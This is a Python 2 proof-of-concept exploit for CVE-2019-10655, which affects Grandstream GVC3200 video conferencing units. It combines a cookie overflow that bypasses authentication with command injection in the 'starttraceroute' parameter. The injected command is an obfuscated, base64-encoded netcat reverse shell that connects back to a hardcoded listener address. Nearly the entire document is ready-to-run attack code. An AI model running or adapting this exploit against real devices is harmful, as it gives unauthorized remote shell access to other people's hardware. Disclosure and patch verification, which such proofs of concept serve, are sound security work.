#!/usr/bin/env python2
"""
CVE-2019-10655: Grandstream - GVC3200 (Video Conferencing Unit) Unauthenticated RCE
Author: Brendan Scarvell
Vulnerable versions: < 1.0.3.51

A command injection vulnerability exists in the `starttraceroute` parameter.
Additionally, supplying 93 characters in the "phonecookie" cookie overwrites
the return value of the valid_connection() function, bypassing authentication.
"""
import sys, urllib2, os, base64

if len(sys.argv) == 1:
    print "Usage: {} <host> <port -- default: 80>".format(sys.argv[0])
    sys.exit()

HOST = sys.argv[1]
port = 80 if len(sys.argv) < 3 else sys.argv[2]

# required -- device has no telnetd available
LHOST = "10.1.1.78"
LPORT = 4444

revshell = base64.b64encode("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/xbin/sh -i 2>&1|nc {} {} >/tmp/f".format(LHOST, LPORT))
payload = "echo$IFS\"{}\"|base64$IFS-d|sh".format(revshell)

# Buffer overflow to bypass auth
cookie = "phonecookie=\"{}\"".format("A"*93)

print "[*] Trying to run command.."

req = urllib2.Request('http://' + HOST + '/manager?action=starttraceroute&addr=||'+payload)
req.add_header('Cookie', cookie)

res = urllib2.urlopen(req)
if 'Response=Success' not in res.read():
    print "[!] Exploit failed. Host may not be vulnerable"
else:
    print '[*] Finished.'
